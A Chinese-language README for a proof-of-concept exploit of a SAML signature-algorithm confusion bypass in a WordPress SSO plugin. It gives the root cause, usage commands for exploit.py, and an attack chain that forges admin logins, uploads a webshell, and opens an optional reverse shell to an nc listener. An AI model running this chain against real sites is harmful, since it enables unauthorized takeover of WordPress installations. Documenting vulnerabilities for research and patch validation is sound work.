CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 认证绕过 (PoC)

CVE-2026-15013 的概念验证：通过 miniOrange SAML Single Sign On – SSO Login WordPress 插件（版本截至并包括 5.4.3）中的 SAML 签名算法混淆（HMAC-SHA1）实现未认证认证绕过。

仅限授权测试。 仅在你拥有或已获得明确许可的系统上使用此代码。未经授权访问计算机系统是违法的。

Credits

CVE 记录：https://www.cve.org/CVERecord?id=CVE-2026-15013

根本原因

Mo_SAML_Utilities::mo_saml_cast_key() 信任来自攻击者控制的 SAMLResponse 中的 SignatureMethod 算法。当设置为 HMAC-SHA1 时，插件将 IdP RSA 公钥重新转换为 HMAC 共享密钥，并使用它验证签名。任何能够读取 IdP 证书（通常是公开元数据）的人都可以为任何现有 WordPress 用户（包括管理员）伪造有效断言。

已在 5.4.4+ 中修复（不安全的算法 / HMAC 被拒绝）。

CVSS

9.8 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

要求

• Python 3.10+
• openssl CLI（用于从证书提取公钥）
• 可访问目标 WordPress 站点，并（对于自动密钥获取）可访问 IdP SAML 描述符

安装依赖：

pip install -r requirements.txt

用法

完整链路（枚举、HMAC 登录、管理员、Webshell）：

python3 exploit.py -u https://TARGET.example

可选的反向 shell（先启动监听器：nc -lvnp 4444）：

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

仅登录（无 shell）：

python3 exploit.py -u https://TARGET.example --no-shell

手动覆盖：

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

参数

流程

1. 检测 WordPress 及插件版本（必须 <= 5.4.3）
2. 发现 ACS、SP entityID、IdP issuer
3. 获取 IdP 签名证书（元数据）并派生公钥 PEM（HMAC 密钥）
4. 枚举 WordPress 用户
5. 为每个候选用户伪造 HMAC-SHA1 签名的 SAMLResponse
6. 选择具有 install_plugins 权限的帐户（管理员）
7. 上传 webshell 插件（exp/shell.php?c=id）
8. 可选的通过 --lhost 反向 shell

免责声明

本项目仅用于教育和授权安全研究。作者和贡献者不对滥用行为负责。在测试第三方系统之前，务必获得书面许可。原始漏洞已通过负责任披露流程报告；本仓库仅用于学习和防御性验证的复现演示。

参考

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• 插件修复：miniOrange SAML 5.4.4+

许可证

用于研究用途。不提供任何担保。